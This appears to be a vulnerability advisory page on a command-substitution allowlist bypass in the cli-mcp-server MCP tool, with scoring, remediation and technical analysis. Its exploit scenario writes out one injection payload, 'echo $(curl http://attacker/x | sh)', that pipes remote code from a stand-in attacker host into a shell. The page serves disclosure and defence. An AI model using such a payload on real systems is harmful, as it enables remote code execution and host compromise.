Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach MCP command tool
-
DeliveryCraft allowlisted command with $(...) substitution
-
ExploitBypass _validate_command_with_operators check
-
ExecutionShell expands substitution
-
PersistExecute arbitrary command as server user
-
ImpactFull host compromise
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the cli-mcp-server ALLOW_SHELL_OPERATORS option to be explicitly enabled (a non-default hardening opt-out); with it disabled the allowlist holds. The attacker must be able to supply a command string to the MCP server's execution tool that begins with an allowlisted command, then append shell command substitution ($(...) or backticks) to run non-allowlisted commands. Limiting factors: the AC:H/AT:P metrics reflect this configuration dependency, and impact is scoped to the privileges of the account running the server. |
| Impact | The vendor CVSS 4.0 vector (AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H, score 9.2) reflects full confidentiality/integrity/availability compromise via arbitrary command execution, but the AC:H and AT:P metrics correctly signal that exploitation is not turnkey: it depends on the non-default ALLOW_SHELL_OPERATORS setting being enabled. There is no CISA KEV listing and no published proof-of-concept, so this is a high-severity, config-dependent issue rather than a confirmed mass-exploited one - the practical blast radius is bounded to deployments that both enable shell operators and expose the MCP tool to a semi-trusted or attacker-influenceable client. That said, the injection technique is simple and well understood, so any operator running cli-mcp-server 0.2.5 with shell operators enabled should treat patching as urgent, particularly where the MCP server runs with meaningful filesystem or network privileges. EPSS is not provided in the input, so probabilistic exploitation likelihood cannot be quantified here. |
| Exploit ScenarioDerived | An agent or user able to submit commands to a cli-mcp-server instance configured with ALLOW_SHELL_OPERATORS sends an allowlisted command that embeds a substitution, e.g. echo $(curl http://attacker/x | sh) or ls |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 04, 2026
Command allowlist bypass in cli-mcp-server 0.2.5 lets callers of this Model Context Protocol server run arbitrary, non-allowlisted commands by embedding shell command substitution ($(...) or backticks) inside an otherwise-permitted command. The flaw lives in _validate_command_with_operators and is only reachable when the ALLOW_SHELL_OPERATORS option is enabled, at which point the ALLOWED_COMMANDS safelist is effectively defeated. Reported by VulnCheck with a CVSS 4.0 score of 9.2; no public exploit identified at time of analysis, though the technique is trivially derivable from the advisory.
RemediationAI
No vendor-released fixed version is confirmed in the available data (references point to the project repo and GitHub issue #17 rather than a tagged patched release), so at time of analysis this is 'no vendor-released patch identified' - monitor the MladenSU/cli-mcp-server repository and VulnCheck advisory for an update beyond 0.2.5. As the most effective immediate compensating control, disable ALLOW_SHELL_OPERATORS, which closes the injection path entirely at the cost of losing pipe/redirect/operator support for legitimate commands. If shell operators must remain enabled, restrict which clients can reach the MCP server and run the server as an unprivileged, sandboxed user (container/namespace with minimal filesystem and no outbound network) so that successful injection yields limited impact; additionally, tighten ALLOWED_COMMANDS to the minimum needed. These controls reduce but do not eliminate risk while shell operators are on. Track issue https://github.com/MladenSU/cli-mcp-server/issues/17 for the official fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
cli-mcp-server is a Python-based MCP server (src/cli_mcp_server/server.py) that exposes a controlled shell-command execution tool to an LLM/agent client, gating which binaries may run through an ALLOWED_COMMANDS allowlist. When operators opt into ALLOW_SHELL_OPERATORS to permit constructs like pipes and redirects, the validation routine _validate_command_with_operators inspects the top-level command token against the allowlist but fails to neutralize or reject POSIX shell command-substitution syntax. Because the string is ultimately handed to a shell, $(cmd) and cmd are expanded and executed regardless of the allowlist - a textbook CWE-78 OS command injection arising from parsing the command with weaker semantics than the shell that finally interprets it. The affected package is identified by CPE cpe:2.3:a:mladensu:cli-mcp-server (author MladenSU).
Know when Cli Mcp Server gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Arbitrary command execution gives full C/I/A impact, but reliance on the non-default ALLOW_SHELL_OPERATORS setting warrants AC:H; PR:N per vendor since the tool caller need not authenticate to the server itself.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
cli-mcp-server 0.2.5 contains a command allowlist bypass vulnerability in the _validate_command_with_operators function when ALLOW_SHELL_OPERATORS is enabled. Attackers can use shell command substitution syntax like $(...) or backticks to execute non-allowlisted commands that bypass the ALLOWED_COMMANDS validation check.
Executive ViewAI
cli-mcp-server version 0.2.5 contains a critical command-injection vulnerability that bypasses security restrictions when shell operators are enabled, allowing attackers to execute arbitrary commands on affected systems. Organizations using this Model Context Protocol server for AI applications face immediate risk of unauthorized system compromise and potential data exfiltration. No vendor-released patch identified at time of analysis, making configuration-based mitigation the only defensive option.
Immediately disable ALLOW_SHELL_OPERATORS configuration option unless operationally critical; implement network-based access controls restricting connections to the MCP server to authorized clients only; run the cli-mcp-server process with minimal system privileges to limit damage from successful exploitation; enable comprehensive command logging and alerting to detect attempted command-injection attacks; segment the server onto an isolated network if ALLOW_SHELL_OPERATORS must remain enabled.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-71116
GHSA-wfpw-4v5h-6h32
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB